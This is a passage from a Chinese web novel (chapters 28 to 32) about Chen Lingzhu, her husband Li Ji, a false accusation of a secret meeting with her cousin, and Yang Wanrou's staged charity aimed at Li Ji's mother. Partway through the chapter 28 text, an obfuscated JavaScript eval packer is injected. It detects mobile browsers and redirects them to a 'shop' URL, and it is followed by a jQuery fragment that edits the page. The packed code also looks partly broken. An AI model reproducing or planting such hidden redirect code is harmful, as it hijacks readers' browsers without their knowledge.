陈灵珠走后,沈信在椅子上坐了一个时辰,一动未动。 他母亲叫他,摇他,他也仿若未觉。 沈夫人急了,“信儿,你这是怎么了?怎么珠儿来了一趟,你连魂都丢了?你快醒醒!” 摇晃了他半日,他却无半点反应。 带着哭腔的呼唤声引来了宅内多人,都上前呼唤、摇晃,沈信依旧未醒。 一个见多识广的老仆见此情形,转身出去端着一盆水进来道:“夫人,老奴来试试!” 沈姑母阻拦不及,只能眼睁睁看着儿子被泼了一头一脸的水。 沈信这才转了转眼珠,茫然地看着母亲和老仆,还有自己身上哒哒往下滴的水。 老仆喜道:“好了,醒过来了!” 沈夫人不知该责备还是感激老仆,用帕子擦着儿子的脸,“信儿,你没事罢?” 沈信定住眼,看清是他的母亲,摇头,“娘,您别担心,我没事。” 沈夫人又问:“珠儿跟你说什么了?怎么她走了,你就成了这副模样?” 沈信又呆了一下,沈夫人的心刚提起,他却答非所问道:“珠儿说得没错。” 沈夫人不明白,“什么说得没错?” “我一个男人,不能比她一个女子都不如。” 他跳下椅子,眼睛渐渐绽出光芒:“我不能再这样下去了。娘,我要振作起来,否则,我拿什么和李济争!”说完,他疾步如飞地回到自己的屋子,从书架上快速取出一本书,坐下看了起来。 沈夫人跟在他的身后,想说什么,见他开始看书,又默默地把话咽了回去。 罢了,儿子愿意读书她就谢天谢地了,其他的,以后再说罢。 …… 见陈灵珠似被自己吓着,李照芙看着她冷笑道:“怎么,做了亏心事,害怕了?” 陈灵珠定了定神,“阿芙妹妹怎么在这里?” 李照芙冷嗤一声:“谁是你妹妹?莫说你比我小,就算你比我大,也做不得我嫂子!今日你私会外男,伤风败德,我这就回去告诉二哥,看他不休了你!” 说完,她怒气冲冲地掉头就走。 紫苏拉了拉陈灵珠的袖子,“少夫人……” 陈灵珠道:“先回府再说。” 主仆三人上了马车,不久回到镇国公府。本想先回梅林上筑,但才进了二门,镇国公夫人身边的婆子过来道:“少夫人,夫人有请。” 国公夫人无事绝不会找陈灵珠,看来李照芙不仅将事情告诉了李济,还告诉了镇国公夫人。紫苏担忧地张了张嘴,陈灵珠却拍了拍她的手,示意她别慌。 不多时来到正院,踏进门槛,果然镇国公夫人和李济都在。 李照芙的动作倒是快。 陈灵珠给镇国公夫人行礼,“母亲。” 国公夫人点点头,“芙儿说有一件关于你的事要当着你的面告诉我和济儿。芙儿,你要说何事,说罢。” 李照芙轻蔑地看陈灵珠一眼,指着陈灵珠对着国公夫人和李济道:“娘,二哥,我是想告诉你们,这个女人红杏出墙!” 镇国公夫人和李济都皱了皱眉,李济道:“你说什么?” “真的!”李照芙提高声音,“就在方才,我亲眼看到她与她那从前就有私情的表兄私会!那男人一开始还衣衫不整!还要送首饰给她!我看得清清楚楚,绝对没有冤枉她!” 因为隔得远,李照芙并没有听到陈灵珠与沈信说了什么。但她觉得,她并不需要知道他们说了什么,他们私下见面以及二人之间的眼波流转已经足够说明一切。 国公夫人的脸色慢慢变了,她看向李济:“济儿……” 李济紧紧抿着嘴唇看了看陈灵珠,又看了看李照芙,面沉如水。 “二哥,快把这个水性杨花的女人赶出去!” 李照芙得意洋洋,如立大功。 正得意,忽然听到哥哥的声音道:“芙儿三番几次冒犯嫂嫂,损害嫂嫂的名誉,请娘责罚她。” “二哥!”李照芙大吃一惊,以为自己听错了。 她委屈道:“我是为了你!我刚才说的,都是我亲眼看到的,句句属实!” 国公夫人也有些意外,“济儿,这……” 李济道:“娘,此事,陈氏已提前告诉过我,她那沈氏表兄受了一点挫折,她受姑母之托,过去劝解一二,不是什么大事。” 陈灵珠出发去沈宅之前,为了避免误会,将沈信与她的过往,二姑母写给她的信,还有二姑母上门求她去见沈信统统都告诉了李济。 李济当时不置可否,不过如今看来,他还是愿意相信她的。 她不由感激地看向他,他淡淡回看她一眼,又撇开了眼。 国公夫人缓缓点头,“原来如此。” 李照芙鼻子一酸,小嘴一瘪,泪水就溢了出来,她指着陈灵珠哭道:“娘!我没有说谎!她与她那表兄在闺中时就不清不楚的,如今又私下见面,怎么可能清白?二哥不信就算了,还这样对我!” 她真后悔,她是不确定事情的真假,才没有硬拉着二哥出门,否则,二哥亲眼看见,岂不是铁证如山? 从前二哥都是信她的,如今也不知是不是中了陈灵珠的圈套,她说什么都不信了。 李济喝道:“住口!你若再出言无状,我便亲自动手罚你!” 他对国公夫人道:“娘,芙儿未有实证,就将捕风捉影的东西大声嚷嚷,如此行为,万一传了出去,镇国公府的颜面何在?” 陈灵珠与沈信的事情,镇国公夫人也不是一无所知。她听说,陈灵珠与她那沈氏表兄甚至差点订了亲。但差一点就是差一点,别说还没订亲,就算订了亲,父母之命媒妁之言,也不能据此就说陈灵珠与她那表兄有什么不清楚的关系,否则,所有曾经与人议过亲的姑娘名声都要不好了。 李照芙这么说,不仅会损害陈灵珠的名声,也会损害李济和镇国公府的体面。 但这还不是最重要的,最重要的是,他们既然决定留下陈灵珠,明面上,就不能苛待她,反而要对她很好,以此表达对陛下赐婚的感激。 镇国公夫人知道轻重,何况李济说要罚李照芙,她也不好太拦着,便道:“芙儿说话如此不谨慎,是该罚。” 她看向陈灵珠:“你受了委屈,依你看,该怎么罚?” 陈灵珠知道,国公夫人这么问,有着她的私心。 因为她作为嫂子,为了家庭和睦,理应大事化小小事化了。 国公夫人大概是希望自己说:“妹妹也是关心世子,算了罢。” 如此,除了她受点委屈,堪称皆大欢喜。 她看向李照芙道:“阿芙妹妹若对我的事情有兴趣,不妨直接问我,我行得正站得直,没什么不敢让人知道的,实在无需劳烦妹妹大费周折,亲自跟踪我。这一次——” “这一次就罚你抄家规十遍,跪祠堂一日以思己过。”李济截过话头,定下了处罚。 陈灵珠闭了嘴,把自己原本要说的话吞了下去。 “二哥!”李照芙哭道:“你就为了她,这样对你的亲妹妹?” 李照芙从未受过罚,母亲一向把她捧在手心,别说让她跪祠堂,就是大声说话也从未有过。 “你胡言乱语,本该掌嘴,我只罚你抄书、跪祠堂,已是手下留情。这次不过略施惩戒,你若再不知悔改,下次便不会如此简单。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751515|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李照芙呜呜地哭,李济看来是铁了心肠了,她求镇国公夫人道:“娘!在祠堂跪一日,女儿命都要没了!” 这话说得夸张,但她知道,她的母亲一定会心疼的。 国公夫人见女儿哭成这样,果然心疼不已,她对李济道:“抄家规多少遍都是该的,可这跪祠堂……”祠堂里阴气重,白日尤可,到了晚上蚊虫多得吓人,现下这天气虽说不冷,可跪一日之久,对李照芙这样的娇娇小姑娘来说,不是易事。 李济道:“非孩儿心狠,只是她性子这样冲动,被人知道了,非但于她自己名声有碍,也容易被人利用,做下错事。” 李济这样说,镇国公夫人便知道没什么回旋的余地了。她不好驳李济的面子,心中也清楚,若她不罚,对陈灵珠没个交代,太夫人知道此事,也一定不会轻易放过。跪祠堂一晚到底不会伤筋动骨,国公夫人便狠狠心道:“让你受些教训也好,否则你迟早惹祸!” 李照芙见都不帮她,哭着要往外走。 “站住!”李济叫她。 李照芙闻言心中一喜,以为李济心软了,国公夫人也期待地看着他,谁知李济道:“你还没道歉。” 李照芙难以置信,失声道:“二哥,你就这样宠着她?” “道歉!”李济喝道。 作为一个武将,李济声音雄浑,这一声低喝,不止李照芙吓了一跳,连陈灵珠也微微抖了一抖。 李照芙的眼泪喷涌而出,见李济盯着她,面上带着不容置疑,只好抽噎道:“对,对不……” 她再也受不住了,没说完便冲了出去。 国公夫人不自觉地按住胸口。 李济站起身,“娘,我们先回去了。” 国公夫人点点头,夫妻二人便行了礼,一前一后走出正院。 “世子,多谢你相信我。”陈灵珠快走两步望着他微笑道。 今日之事,虽说她跟他提前说过,但他听了李照芙的话还能相信她,她很感激。 李济放缓了脚步,转头看她,见这小女子仰着头,满眼感动地望着他。 真没出息,这样就感动了。 “料你不至于如此有眼无珠。”他道。 陈灵珠:“……” 李济虽有骄傲的本钱,然而这话也太不将沈家表兄看在眼里了。陈灵珠张了张嘴,想为沈信辩驳,想了想,到底把话压了下来。 算了,无谓节外生枝,何况她刚刚承了他的人情,没必要非在此时辩个清楚明白。 李济眼尖看到了她的表情,“怎么,你不服?” 对于李济这种从小出类拔萃的人而言,他从未觉得自己比任何人差,若一个女子要在他与其他男人之间选择,根本无需费力。 陈灵珠敷衍道:“服。世子玉树临风,风流倜傥,才如宋玉,貌比潘安,我岂有不服之理。” 李济凉凉瞥她一眼,陈灵珠挤出一个假笑:“真的,世子是我见过最好的人了。” 见李济似还不满意,她又补充道:“世子是我见过最聪明、最雄才伟略、最——” “可以了。”李济打断她:“算你识相。” 说完不再理陈灵珠,大步向前而去。陈灵珠在后面追,他却越走越快,好像故意与她拉开距离似的。 “姑娘,世子这是怎么了?”茯苓和紫苏问陈灵珠。 “我也不知道。”她真的不知道,刚才还好好的,怎么突然就变脸了?莫非他嘴上说得大方,其实还是介意她与表兄的事? 仔细想了想,不像,他根本没把表兄放在眼里,又如何会吃他的醋。 她嘟囔:“都说女人心海底针,我看男人心才是海底针呢。” 29. 第 29 章 李济中途折去了书房,不久,吴骏求见。 他是来禀报刺杀一事的。 郑文淑已有了下落,她那日送那易容的刺客归家,毫无防备之下被推下山崖,受了重伤,后面她被一个猎户所救,便留在猎户家中养伤至今。 对于那刺客,郑文淑所知也不多。不过,吴骏查到,那刺客的所谓丈夫,是武安侯豢养的一个门客。 吴骏走后,李济皱着眉沉思。 这些时日,他想了许久,想那刺客为何要易容成郑文淑的模样。 他少年时拜郑文淑的父亲郑镇南为师,从而与郑文淑结下深厚师姐弟情谊一事,其实知道的人不多。 除了伴他游历的吴骏和另一个常随阿诺,就连他的父母和祖母,也只知道他在外游历之时,曾机缘巧合之下拜了一个武功高强的江湖高手为师,其余便一无所知。 吴骏素来不多嘴,且可信靠,阿诺意外身死,他实在想不到,谁会知道此事,且利用了它。 想了许久,他终于忆起了一件旧事。 两年前他回京时,进宫拜见皇帝,他从御书房出来后,少年时陪着他在外游历的常随阿诺吞吞吐吐,说他多嘴了,不知说错话了没有。 他问何事,阿诺说,世子进御书房面见陛下后,陛下身边的大太监王德忠拉他来到一间偏殿,与他坐着闲谈,那王德忠态度亲切,与他天南地北地谈了了好一会儿后,便说到世子身上。 当时李济的亲事颇多波折,王德忠问李济喜欢什么样的女子,不如直接开口,让陛下赐婚。 阿诺说他不知,世子向来清心寡欲,对女子目不斜视,他也不知世子喜欢哪种女子。 王德忠笑道:“总有一二个特别的罢?” 阿诺想了想便想到了郑文淑,那个曾被世子夸巾帼不让须眉的飒爽女子。王德忠或许是从他的表情看出了什么,连忙追问,阿诺怎敢胡说,却也敌不过王德忠的连环追问,最终提到了郑文淑的存在。 当时他听阿诺说了后,也没太过在意,因这也不是什么不可告人之事,平时没往外说,只是没这个必要罢了,便也没说什么,叮嘱他日后谨慎些而已。 但刺杀发生后想起来,却让他忍不住生了疑心。 难道便是因为那次阿诺说的话,才有了假扮郑文淑一事? 非他多疑,但除此之外,确是无人提过郑文淑了,仅有此例外。 而武安侯这几年,已成为陛下的心腹。 武安侯的门客虽然不等于陛下的门客,武安侯要杀他也不等于陛下要杀他,但以陛下这两年对他的忌惮,几件事是否有关联,值得深思。 其实这两年,尽管陛下对他频频示以恩宠,但陛下对他的忌惮,他并非一无所知。 他不愿相信刺杀他的幕后主使就是陛下,但他不能不考虑这个可能性。 倘若他的猜测为真,那府里的这个小姑娘,应当是皇帝安插的一条眼线。 经过这些时日与她的相处,他基本可以判定,那只是个心无城府的小姑娘,她甚至对自己身为棋子一事,也毫无所觉。 可是一个不知情的眼线,也是眼线。 他不该对一条别人的眼线有任何感情。 但人心都是肉长的,他也是。 他虽不至于对这么个小姑娘生出什么男女之情来,但日日相对,总难免会有些熟人的情分。这样的情分会让他心软,影响他的判断。 就在刚才,李照芙说:“二哥,你就这样宠着她?” 他心里清楚,他当然不会宠她,然而他也意识到了一件事——他对那小姑娘的宽容,似已超过了他能容许的程度。 这让他心惊,同时生了警惕。 镇国公府阖府三百多口人的身家性命都在他的身上,他不能感情用事。 …… 镇国公夫人就着侍女的手下了马车,往相国寺走。 走到半道,忽然有人在后面叫:“李夫人!” 她停住脚步,看向来人。 是杨府的当家夫人金氏,身后还跟着一个年轻的姑娘。 镇国公夫人认得金氏,但因为杨家是陈家的姻亲,所以从前镇国公府与杨家并不来往。但伸手不打笑脸人,细论起来杨府与镇国公府也没什么仇怨,镇国公夫人便客气点头回道:“杨夫人。” 金氏笑道:“真的是您,我还以为看错了。” 相国寺香火鼎盛,无论皇亲贵族还是平民百姓都喜欢来这里拜佛,遇见也不算奇怪,镇国公夫人点头道:“是啊,真巧。” 金氏奉承道:“李夫人真是平易近人,我看好些人家女眷来佛寺,还要先清场呢。” 镇国公夫人道:“我一向不喜欢那些排场,来拜个佛,倒搅得人家不安,佛祖见了也不会高兴的。” 金氏笑道:“我也是这么想,众生平等,宰相是人,卖豆腐的也是人,佛前倒没必要分个三六九等。” 她说出这番话,倒让镇国公夫人对她刮目相看,微笑道:“杨夫人有见地。杨夫人今日是来上香?” 金氏道:“我是陪小女来许愿的,去年年景不好,之前一场倒春寒,好些乞丐冻死在路旁,小女说,要在佛前许愿吃素三月以抵他们来生之苦。我虽觉得小姑娘天真,但她也是一片心意,少不得陪她胡闹。” 说着就让杨绾柔上前跟镇国公夫人见礼。 杨绾柔今日的装扮很是费了一番心思,是国公夫人这个年纪的妇人会喜欢的样式和颜色,她规规矩矩地上前行礼,微笑道:“见过夫人。” 心地善良的姑娘总是让人心生好感,镇国公夫人不由地多看了她两眼,颔首微笑道:“杨姑娘心善。” 杨绾柔道:“夫人过奖,阿令人小力微,做不了什么,只能以这种方式略尽绵力,夫人别见笑。” 镇国公夫人道:“如何会见笑,杨姑娘能够想到冻死的乞丐,已是难得。” 杨绾柔低头羞涩一笑。 金氏道:“说起来,小女与令千金还是朋友呢。”转向杨绾柔道:“你去镇国公府,可曾去拜见李夫人?” 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为了见到镇国公夫人,她和母亲一早便来了这里守株待兔,总算被她们等到了。如今只跟国公夫人说了几句话就要离开,杨绾柔不太甘愿。 杨大夫人金氏笑道:“心急吃不了热豆腐,一步一步来,不急。” 今日已经算是一个好的开始,毕竟以他们杨家与陈家的关系,就算镇国公夫人不理他们,也不算失礼。 想到这里,金氏隐隐有些后悔,当初他们杨家人为了拉紧陈进,在外大力宣传陈进如何对他们早逝的姑太太念念不忘,将杨家与陈家严密捆绑。 这样做虽说从前得到了一些好处,却也在这一刻成了女儿婚姻的阻碍。 好在镇国公夫人并没有因为这一层关系对她们太过冷淡,如今让杨绾柔在镇国公夫人面前先混个脸熟,留个好印象,循序渐进。 否则,以镇国公夫人的心胸城府,很容易便看穿她们的图谋,到时事成不了,还容易被人看轻。 杨绾柔又问:“娘,为何不借机告诉镇国公夫人陈灵珠与沈信的事?” 她们为李济精心准备的一场大戏,主角虽然登了场,却未能撩动看客的情绪。听李照芙说,她还因为此事受了罚。 杨绾柔有些忿忿,三人成虎,一次不成,两次、三次,总能让镇国公府相信。 金氏道:“傻孩子,这话怎么能我们来说呢。” 她们说了,无论怎么摘清,总会有搬弄是非的嫌疑,若因此而让镇国公夫人对杨绾柔的印象不好,那可就得不偿失了。 她宽慰女儿道:“你放心,种子种下了总会发芽的,再说了,以后这样的机会多着呢。” 母亲向来有计谋,杨绾柔虽然有想法,却也按捺下来。 为乞丐吃斋不过是个藉口,她才不会为那些又脏又臭的乞丐委屈自己一点儿呢,但她如今有一个心愿十分需要佛祖的保佑。 她跪在佛前,双手合十,为她的姻缘求佛祖道:“佛祖,求您保佑信女如愿以偿,嫁得意中人。” 30. 第 30 章 天色将晚,李济犹豫了半晌,到底还是回了梅林上筑,与陈灵珠一起用膳。 他虽已经下了决心,但还是跟她交代一声为好。 陈灵珠发现,李济今日似乎格外沉默,就坐下来用膳开始就一直眉头微皱,似乎有些心事。 “世子,你怎么了?可是发生了何事?身体不舒服吗?还是饭菜不合胃口?” 李济还不能吃太过辛辣的食物,为了照顾他,陈灵珠让厨房做的都是清淡滋补的菜式。李济虽说过他不挑食,但人就是这样,越不能吃的东西往往越想吃,说不定他就是想吃些辛辣菜式换换口味呢。 他看了她一会儿,摇摇头:“无事,饭菜也合口味。” “哦。”她没有多想,“那世子多吃些。” 犹豫了一下,她放下自己的碗筷,用布菜用的干净筷子给他夹了一块驴肉。 “滋补的,世子快吃。” 李济看她一眼,又低头看了看驴肉,默默地吃完了。 待陈灵珠放下碗筷,他斟酌着开口道:“往后你自己用膳罢,不必等我了。” 其实他清楚,如果她真的是眼线,那么拉拢她,让她彻底成为镇国公府的人,于镇国公府而言其实更为有利。 可是他不敢冒险。 他怕与她日日相对,两人真的有了不该有的情分。 人心都是肉长的,他也是。在战场上,在朝堂上,他对自己的理智和清醒有足够的自信,然而对着这个小小女子,他不敢说自己有十足的把握。 对自己不能完全掌控的事情,他选择避开。 陈灵珠随口问道:“为何?” 李济道:“我身子已好了许多,以后会忙起来了。” 自己用膳就自己用膳罢,这也不是什么大事,陈灵珠没有怀疑,点点头道好,“那我以后自己吃罢。” 两人吃完,残羹冷炙撤了下去,丫鬟给两位主子上了茶。慢慢品了两盏雨前龙井,陈灵珠问李济:“世子,可要手谈一局?” 这些日子,两人常常对弈,有时李济就算手上有事,也会放下事情陪她。 陈灵珠一次比一次进步,只是暂时还棋差一着,未能赢李济。 李济刚想说好,又犹豫了一下,拒绝道:“我不得空。” “哦,那算了,那我不打扰世子了,世子忙罢。”她站起身,准备出门。 李济淡淡颔首,她已转了出去。 “紫苏!”没多久她兴奋的声音响起:“下一顿让厨房给我加一道辣子鸡,还要一道香辣蟹!跟着世子吃了这么久的清汤寡水,馋死我了!” “走走走,给太夫人请安去,顺便找她切磋棋艺……” 她的圆脸丫鬟笑嘻嘻地道好,然后便是一阵银铃般的笑声和欢快的、似乎还跳跃着的脚步声。 李济:“……” 敢情不和他一起用膳,她还更高兴?那他斟酌犹豫了半日算什么? …… 连着多日,陈灵珠都去太夫人的松鹤院陪她用午膳、下棋。 “灵珠,”太夫人缓缓落下一子后道:“这几日你怎么总是来陪我这个老婆子?” 陈灵珠一愣,一时没反应过来太夫人这话的意思。老实说,她来得不算常,太夫人不是古板的人,又素来体贴晚辈,所以并不要求众儿孙和媳妇、孙媳妇过来早晚问安,陈灵珠也不是每日都来。 她玩笑道:“多来陪陪祖母不好吗?祖母烦我了?” “不是不好。”太夫人笑着悠悠道:“你有这份心,自然是好。可是眼下你最该陪着的,是济儿。你别看济儿现在有点时间待在府里,那是他还在养伤。等他伤一好,又该忙起来了。若是回了边关,也不知道是一年半载回来一次,还是三年、五年回来一次。你现在不去陪他,以后你想陪都没这个机会。至于我这个老婆子,等济儿忙起来了,你想搬来住,咱们祖孙俩日夜相对都成。” 太夫人在心里默默叹气,为了这小夫妻两个,她真是煞费苦心。 可这两个小的,一个不解风情,一个还没开窍,双方都不知道往前一步,真叫她不知道拿他们怎么办才好。 她替陈灵珠安排:“济儿如今该是在外书房,咱们刚才喝的绿豆百合汤不是还剩了些么,你给济儿送一碗过去,让他润润口。” 太夫人叫来绿儿,让她叫厨娘盛一碗绿豆汤,用食盒装好拿过来给少夫人。 绿儿应是去了,但不久后过来回道:“太夫人、少夫人,绿豆汤剩得不多了,不够一碗,厨娘现煮着,还需等一等。” 太夫人想了想道:“济儿不重口腹之欲,不拘什么点心给他装一盘拿过去就是了。剩下的绿豆汤也给装上,他不会嫌弃的。” 反正也就是个名目,重要的不是这些东西,而是陈灵珠亲自送过去。 绿儿欲言又止,正要再说什么,太夫人催促道:“快去呀!” 绿儿只好应是,下去吩咐厨娘了。 太夫人求快,不介意东西少,厨娘自然遵命,很快,一个食盒送了上来。 一盘棋还没下完,但太夫人不打算继续了,赶陈灵珠道:“快去快去,这棋我留着,下次你过来咱们再接着下。” 陈灵珠只好站起身,“祖母,那我去了。” 太夫人道:“去罢,济儿若没什么正事儿,你便陪一陪他。” 陈灵珠道好,带着两个丫鬟往外书房而去。 到了外书房,阿拙守在门外,陈灵珠问他:“里面有人?” 世子没吩咐过要拦住少夫人那便是不用拦,阿拙笑嘻嘻道:“没有,只有世子在里面,少夫人进去罢。” 陈灵珠便从紫苏手里接过食盒,一个人进了书房。 李济正在看书,见她来了,微微有些讶异,问:“你怎的来了?” 近些时日他刻意避开她,她似也没发现有什么不妥,从来没问过他在忙什么,也不知是本就心宽还是根本不在意他这个人。今日太阳从西边升起,她居然过来了。 陈灵珠微笑道:“遵祖母之命,给世子送一份绿豆百合汤,这几日天气有些热了,吃 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见他没有嫌弃绿豆汤少,陈灵珠一来想缓解尴尬,二来是有些过意不去,便道:”这是祖母的小厨房做的,做得不多。世子若还想吃,明日我让人送一份我亲手做的绿豆汤给世子尝尝。” 李济本想说不必,但她一脸诚挚,他想了想,拒绝的话到了嘴边又咽了下去。 罢了,她也是一片好意,一碗绿豆汤而已,他冷冰冰地拒绝倒显得不近人情,万一让她误会他不高兴今日的绿豆汤是剩下的,或者因此而想多了,小事化大,倒是不妙。 何况他虽决定疏远她,却并没有想过要为难她。 点了点头,他道:“好,有劳你了。” 说着拿起碗,将碗底剩下的绿豆汤一饮而尽,连碗底的辅料也吃得干干净净。 陈灵珠:“……” 倒也不必如此捧场。 见她看着他,他才反应过来他连陈皮等辅料也吃了下去,忙找了个借口道:“我这两日有些咳嗽,吃点陈皮,清清嗓子。” 原来如此,她笑了笑,眼角扫到一旁的书架有她想一直想找的一本医书,眼前一亮,快走两步过去抽了出来,惊喜道:“世子竟有这本书?我找了好久了!” 李济是知道她对医术有点兴趣的,之前还给院子里的丫鬟婆子把脉,点了点头道:“这是从前我无意中得来的,你若喜欢,拿去看便是。” 陈灵珠闻言,欣喜不已,把书房里的另外一把椅子拉开,翻开书便迫不及待地看了起来。 李济:“……” 他的意思是,她可以将书带出书房,看完了再让人还回来。 然而她一脸痴迷的模样,他说什么都听不到,又哪里会知道他闪过的这些念头? 无奈,他只能摇了摇头,埋首于自己的事务。 到了掌灯时分,在李济的再三劝说之下,陈灵珠才意犹未尽地放下了书,准备回梅林上筑。 已经到了这个时辰,又明摆着现下无事,李济找不出借口来,只好和她一起回梅林上筑用了晚膳。 31. 第 31 章 镇国公夫人出了大门,正要上马车,眼睛瞥到一个有几分眼熟的身影。 是杨府那位姑娘。 她停了下来,看向杨绾柔。 只见杨绾柔将一个摔倒受伤的小乞丐扶起,面带微笑又温柔地与他说了几句话,然后抽出自己的帕子,用这帕子给小乞丐仔细擦了擦手,还从婢女手中接过一块碎银,递给了小乞丐。 小乞丐接了钱,跪下磕了个头,起身一溜烟跑了。 杨绾柔望着他的背影笑了笑,看上去端的是人美心善。 驻足望了小乞丐一会儿,杨绾柔才回过头。她像这时才发现了国公夫人,赧然一笑,上前给国公夫人行礼。 她端庄一福,“夫人,阿令有礼了。您是要出门吗?” 看见杨绾柔方才的举动,国公夫人心中对她的好感又增了一分,笑道:“正是,杨姑娘是来找小女的?” 杨绾柔露齿笑道:“是,又来叨扰了。” 国公夫人:“欢迎之至,谈何叨扰?小女能有你这样的朋友,我高兴还来不及。” 国公夫人向来觉得自己的女儿性子不够稳重,这位杨姑娘看起来端庄贤淑,应是个不错的朋友。 杨绾柔羞涩一笑,垂下了头。 待国公夫人的马车走远,杨绾柔将擦过小乞丐手的帕子扔给了她的丫鬟翠玉,用另一条帕子狠狠地擦了擦手,低声道:“下次让他们把手弄干净些!恶心死了!” 乞丐是真的乞丐,不过是杨绾柔提前找好的,配合她演一出戏,为的就是让国公夫人看到她心善的一面。 婚姻都是父母之命媒妁之言,若能赢得国公夫人的好感,以后那碍眼的陈灵珠没了,她坐上世子夫人位置的可能就会大大增加。 翠玉应是,低声道:“姑娘,这真的有用吗?” 杨绾柔觉得有用,看刚才镇国公夫人看她的眼神,多慈祥欣赏! “夫人你还信不过?” 翠玉忙道信得过,说夫人向来足智多谋云云。 杨绾柔满意地笑了笑,进门找李照芙去了。 …… 陈灵珠做了一锅莲子绿豆沙,因舍不得昨日未看完的书,便装了一大碗,亲自送去了书房。 “世子,”她笑道:“我做了大半个时辰呢,你快试试看。” 梅林上筑离外书房有些远,她走得出了一层薄汗,此刻脸红扑扑的。她微笑着,露出洁白的贝齿和小酒窝,一脸诚挚地看着李济。 虽然明知她亲自送汤来是为了昨日那本医书,但她的绿豆沙确实做得口味适中、软烂可口,李济从心赞许道:“味道不错。” 陈灵珠也没有谦虚:“这个绿豆沙我做过很多回了,吃过的人都说好吃。” 尤其是紫苏,每次吃,都要夸得天花乱坠。 李济吃着,她连忙将昨日未看完的书抽出,坐下看了起来。 眼见昨日又要重现,他顿了顿,将绿豆汤咽下,问她:“你……不用忙别的事吗?” 他自觉意思已经相当明显,陈灵珠只要稍微敏感一些,应当就能察觉到。 可惜陈灵珠有了喜欢的医书,不但不再敏锐,连五感也迟钝了起来。他又问了一次,她才抬起头,脸上带着一点儿看到入迷处被打断的不满:“嗯,不用。” 如今没什么事比她看这本书重要,就算有,也不是不能推迟。 “我看书的时候世子不必理我。” 说完,她重新埋首于书中,再也不理他了。 李济:“……” 过了许久,她应是看书看得疲倦了,闭了闭眼,又揉了揉眼睛。 李济见了赶紧道:“既然累了,你先回去罢,莫要看得太多熬坏了眼睛。” 陈灵珠想了想,笑道:“你说的是,我去花园逛逛,让眼睛休息休息。” 陈灵珠起身走了,进来送茶水的阿拙对李济笑道:“世子也看了半天了,何不跟少夫人一起去花园走走?” 阿拙被太夫人、国公夫人都叮嘱过,让他看着世子,不要让世子过于劳累,所以见少夫人要去花园走走,便提醒李济也去。 李济坐久了确实有些眼睛干、脖子酸,他知道自己需要活动一番,但他不想同去。 或者等陈灵珠走了再去不迟。 见他坐着不动,阿拙催促道:“世子,一会儿再回来看也不迟,您就跟少夫人一块去罢!您是要打仗的人,这眼睛看坏了可怎么好……” 李济:“……” 这小厮实在聒噪,简直像个多嘴的八哥。 转念一想,也罢,倒也不必避开她似的,何况他们两日在书房相对,倒也不差花园这一会儿了。 他起了身。 夫妻俩先后去了后花园的同时,李照芙也带着杨绾柔来了后花园。 “阿芙,你们对陈灵珠真好,在别的人家,像她这样冒名顶替在先,私会外男在后的,早就被赶出去了。” 李照芙恨恨地摘了一朵花,将花瓣一瓣一瓣地摘了扔到地上,“我也想这么做,可我二哥和祖母不知道怎么想的,偏要护着她。上次我亲眼看到她与她那表哥私会,我二哥不但不信,还怪我胡说,罚我去祠堂跪了一晚。” 说到这个,李照芙的膝盖就隐隐作痛。 听到李照芙说李济护着陈灵珠,杨绾柔心里有些不是滋味,转念又想,未必真是对陈灵珠这么好,或许是不高兴自己的男人尊严受到了挑战,又或者,根本没将陈灵珠看在眼里。 “她这个人诡计多端,我猜呀,她定是用了什么手段哄骗了你二哥和祖母。” 李照芙嘟着嘴不说话,越想越气。 “阿芙,那位是谁?” 湖的对岸,一个年轻男子正在一丛花后,那男子年约弱冠,器宇轩昂、丰神俊朗,他的步伐不慌不忙,然而杨绾柔的心却飞快地跳了起来。 李照芙看了一眼,道:“还能是谁,我二哥。” 杨绾柔呆住。因为各种机缘巧合,她总是错过见到李济的机会,所以她从未亲眼见过他。 她当然听过李济的大名,都说他所向披靡、貌比潘安,但她总以为人们是因为他的家世和官职而夸大其词。 以己度人,李济身为镇国公世子和辅国大将军,就算是癞蛤蟆,她也能找出美丽的地方来。她真的不知道,原来传言一点儿也没有夸大。 她情不自禁地喃喃道:“传言不真。” 李照芙没听 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李照芙唤了一声,朝李济走了过去。 杨绾柔心中一喜,立即抬脚跟上。她本来还在想怎么让李照芙带着她到李济面前转一圈混个脸熟,没想到还没开口,李照芙就这么做了,真是刚瞌睡就有人送枕头。 她跟着李照芙绕过湖边的篱笆,没看到李济,却迎头撞上了最讨厌的陈灵珠。 她皱了皱眉头,下意识地冷冷哼了声。 陈灵珠也将笑容敛去,扫了杨绾柔一眼,又看了李照芙一眼。 她之前不知李照芙为何会拿她与沈信的事做文章,如今才知道缘故。 原来是杨绾柔捣的鬼。 她蹙了蹙眉,李照芙若是像陈灵瑛一样被杨绾柔缠上,她就不得安生了。 三人都没有说话,这时,李济已踱了过来,在陈灵珠侧后方站定。 杨绾柔见了李济,也顾不上陈灵珠了,连忙含羞带笑地低下头。 “二哥!”李照芙笑着对李济道:“我正要找你呢。” 李济颔首,“找我何事?” 李照芙道:“我谱了一首新曲,二哥你帮我听一听,看哪个地方要改进。” 李济爱且懂音律,平日里弟妹们除了骑射武功,向他请教最多的便是此道。 这等小事,李济没有不答应的,但他余光瞥到李照芙身后跟着一个陌生的姑娘,便道:“改日罢,你不是还有客人么。” 杨绾柔听到客人这一句,忙越过陈灵珠,上前向李济福身行礼,娇娇地道:“见过世子。” 她是声音甜腻腻的,似乎能滴出蜜来。 陈灵珠见她如此作态,声音明显比平时甜腻,颇有些诧异,她这是在做什么? 杨绾柔虽然恨不得将眼睛粘在李济身上,但她深知这样不够庄重,便忍住了,看李济一眼后便垂下了眼眸。 李照芙道:“二哥,这是安平伯府的杨姑娘。” 李济微微颔首,正欲转身走开,忽然记起一事。 “安平伯府?” 32. 第 32 章 杨令道:“是。家父是安平伯,我是嫡出的长女。” 杨绾柔见李济主动开口和她说话,欢喜极了,心里砰砰直跳,差点把胸腔撑破。 